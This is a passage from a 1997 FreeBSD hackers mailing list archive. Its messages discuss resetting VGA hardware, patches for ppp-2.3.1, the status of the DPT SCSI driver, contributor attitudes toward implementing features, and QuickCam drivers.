adapter without uintimate knowledge of the hardware > involved. Such a snapshot is often useless anyway, as it does not > contain information about the state transitions prior to the snaphot > state, which may be very significant to the hardware's current mode of > operation. But we still have the evidence that every X server manages to reset them most of the time. > On the other hand, the manufacturer of the card _does_ know intimately > how it works. They write functions for manipulating the card > hardware, and stick them in a PROM on the card. > > Why not use their code and save ourselves the agony? OK, as I said, I haven't read Jonathan's message. I didn't realise it was that close to being implementable. Greg From owner-freebsd-hackers Sat Aug 16 20:39:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA28868 for hackers-outgoing; Sat, 16 Aug 1997 20:39:08 -0700 (PDT) Received: from folco.lms.ru (folco.lms.ru [193.125.142.40]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA28850 for ; Sat, 16 Aug 1997 20:39:02 -0700 (PDT) Received: from minas-tirith.lms.ru (uucp@localhost) by folco.lms.ru (8.8.5/8.6.9) with UUCP id HAA23686 for FreeBSD.ORG!freebsd-hackers; Sun, 17 Aug 1997 07:38:54 +0400 (MSD) Received: (from uucp@localhost) by minas-tirith.lms.ru (8.8.6/8.6.9) with UUCP id EAA29800; Sun, 17 Aug 1997 04:35:08 +0400 (MSD) Received: from bitbox.follo.net (bitbox.follo.net [194.198.43.36]) by folco.lms.ru (8.8.5/8.6.9) with ESMTP id TAA22390; Sat, 16 Aug 1997 19:19:45 +0400 (MSD) Received: (from eivind@localhost) by bitbox.follo.net (8.8.6/8.8.6) id RAA16121; Sat, 16 Aug 1997 17:17:45 +0200 (MET DST) Date: Sat, 16 Aug 1997 17:17:45 +0200 (MET DST) Message-Id: <199708161517.RAA16121@bitbox.follo.net> From: Eivind Eklund To: Alex Povolotsky CC: MX.BA-Stuttgart.De!helbig@minas-tirith.lms.ru, FreeBSD.ORG!freebsd-hackers@minas-tirith.lms.ru In-reply-to: Alex Povolotsky's message of Sat, 16 Aug 1997 09:44:00 +0400 Subject: Re: Kernel ppp-2.3.1 and compile under FBSD's References: <199708110817.KAA01745@rvc1.informatik.ba-stuttgart.de> <199708160544.JAA28399@minas-tirith.lms.ru> Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > <199708110817.KAA01745@rvc1.informatik.ba-stuttgart.de>Wolfgang Helbig writes: > > >So you might have to upgrade to FreeBSD 2.2.x to make ppp-2.3.[01] compile. > ppp-2.3.1 I've downloaded several days ago complaints on 2.2.2. It > is configured ONLY for 2.1.X. Where can I get patches for it? I'll grab 'em off one of my co-workers on Monday and submit them to Brian; integrating is quite a bit of work, and it has been done here. We've had no problems for the last two weeks or so - it might finally be stable :) I can't just submit them _now_ due to the machine they're on not being present here at the moment... Eivind. From owner-freebsd-hackers Sat Aug 16 21:30:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA02996 for hackers-outgoing; Sat, 16 Aug 1997 21:30:08 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id VAA02938 for ; Sat, 16 Aug 1997 21:29:55 -0700 (PDT) Received: (qmail 2291 invoked by uid 1000); 17 Aug 1997 04:29:51 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD Content-Type: text/plain; charset=iso-8859-8 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Sat, 16 Aug 1997 21:29:51 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Jaye Mathisen Subject: RE: Besides time, what the heck does it take to get DPT driver i Cc: hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Jaye Mathisen; On 14-Aug-97 you wrote: > > > :) I'm getting tired repatching my source tree all the time. Me too, me too... I did not see the original posting, so please someone help me out here... > Now if the darn thing would make it into current so I could smp and DPT, > I could die a happy man. You are an exceptionally easy man to satisfy :-) I just posted a patch to current of the DPT driver 1.2.1. It even runs or I would not have been able to type this. > > I recall somebody saying it was going to happen a few weeks go, but > unless I"m doing something wrong, I don't see it. Here is a short version of my OPINION on what is happening (Justin is the gatekeeper of all SCSI code going into the kernel); The DPT driver suffers from certain problems, stopping it from being checked in. In no particular order: a. The coding style is (was) horrendously ugly. It is a mixture of K&R, System V, Oracle influence, bad habits (I used to write a lot of PL/I) and sheer madness. While very readable by yours truely, it is rightly not acceptable as a FreeBSD code. b. To get the performance levels I wanted and the load bearing ability I needed, the driver uses software interrupts (first SCSI HBA driver to actually do that on FreeBSD that I know of. This represents a modification to 2.2 interrupt handlers; Not acceptable by core. c. Version 3.0 of FreeBSD intends to use a whole new SCSI midlayer. One that complies with CAM3 (is this the correct way to describe it, Justin?). It was felt by the core team that the DPT driver should use this layer or pertinant pieces of it. Until this integration actually happens, the DPT driver will stay outside the source tree. d. There were several bugs in the driver that could show up as a crash or lost interrupts (I think). Although I could never actually cause some of them to surface, they are considered show stoppers. Much (if not all) of these should be gone now. I am not asking you to agree with this. Just telling you how I understand the situation. My employer intends to use FreeBSD and the DPT as key, (``strategic'' they call it) technology in some darn important products. As such we heavily review and test and review the code. As far as I can tell, the DPT driver works correctly and reliably. If not, let me know. Please. I am working closely with the core team to resolve these problems and bring the driver up to their excellent standards. We want the code we release (DPT is only the first), to be at least as good, stable and clean as the rest of the system. > (Now if I could just talk Simon into a Mylex driver, I'd really be > cookin'). Me? Mylex? Sure, send me a card, documentation and (if possible contact name). Simon From owner-freebsd-hackers Sat Aug 16 21:37:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA03587 for hackers-outgoing; Sat, 16 Aug 1997 21:37:50 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA03577 for ; Sat, 16 Aug 1997 21:37:46 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id VAA13884; Sat, 16 Aug 1997 21:37:35 -0700 (PDT) To: Greg Lehey cc: msmith@atrad.adelaide.edu.au (Michael Smith), hackers@FreeBSD.ORG (FreeBSD Hackers) Subject: Re: reset screen hardware? In-reply-to: Your message of "Sun, 17 Aug 1997 12:41:37 +0930." <199708170311.MAA04998@freebie.lemis.com> Date: Sat, 16 Aug 1997 21:37:34 -0700 Message-ID: <13880.871792654@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > If there's one thing that pisses me off about many FreeBSD hackers, > it's this attitude "Ooh, this is nasty. I don't want to have anything > to do with it". Lots of PC hardware is nasty. Messing around in a 16 > bit BIOS is nasty. IDE is nasty. VGA is nasty. Come to think of it, > what's nice about PC hardware? But FreeBSD's acceptance suffers > significantly because nobody can be bothered to deal with these nasty > things. Where's the Win-32 emulator? ... Funny, my bigget rant has to do with people going "Why doesn't FreeBSD have feature XXX?!" rather than "Here are my diffs to support feature XXX, please integrate them." Why? Well, we'd have support for a lot more "nasty" stuff if there were more people around who were willing to do the actual implementation work and be willing to actively support it afterwards so it doesn't go stale (like the 1st ISDN drivers, for example). That's the real problem here. Jordan From owner-freebsd-hackers Sun Aug 17 00:01:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA12760 for hackers-outgoing; Sun, 17 Aug 1997 00:01:13 -0700 (PDT) Received: from phobos.illtel.denver.co.us (abelits@phobos.illtel.denver.co.us [207.33.75.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA12746 for ; Sun, 17 Aug 1997 00:00:59 -0700 (PDT) Received: from localhost (abelits@localhost) by phobos.illtel.denver.co.us (8.8.5/8.6.9) with SMTP id AAA18203; Sun, 17 Aug 1997 00:15:54 -0700 Date: Sun, 17 Aug 1997 00:15:53 -0700 (PDT) From: Alex Belits To: Nicolas Souchu cc: FreeBSD hackers Subject: Re: QCam port to ppbus In-Reply-To: <33F5D382.167EB0E7@prism.uvsq.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 16 Aug 1997, Nicolas Souchu wrote: > Hey! the software already exists for the QCam. I didn't think so. > > I was straying into saying it should be a rewrite of the Linux driver. > That's a port then, not a rewrite. > > Who administrate it at FreeBSD? > > What is the struture of the soft? There's a driver, libraries, viewers? A lot of different librarties for quickcam were written, and most of them work on FreeBSD. My qcread (http://phobos.illtel.denver.co.us/pub/qcread/README.html) was originally written for Linux and works on FreeBSD. -- Alex P.S. Yes, Quickcam is slow and rather pain in the ass to program for, but I've managed to make reasonably light on resource streaming webcam (about 1 fps, color camera can't send 320x240 faster) that is continuously working on PPro 200 box with FreeBSD that happens to be my main development box at work, and 2 cameras with 0.1 fps (one color and one b&w) on my 486dx2-80 Linux box at home.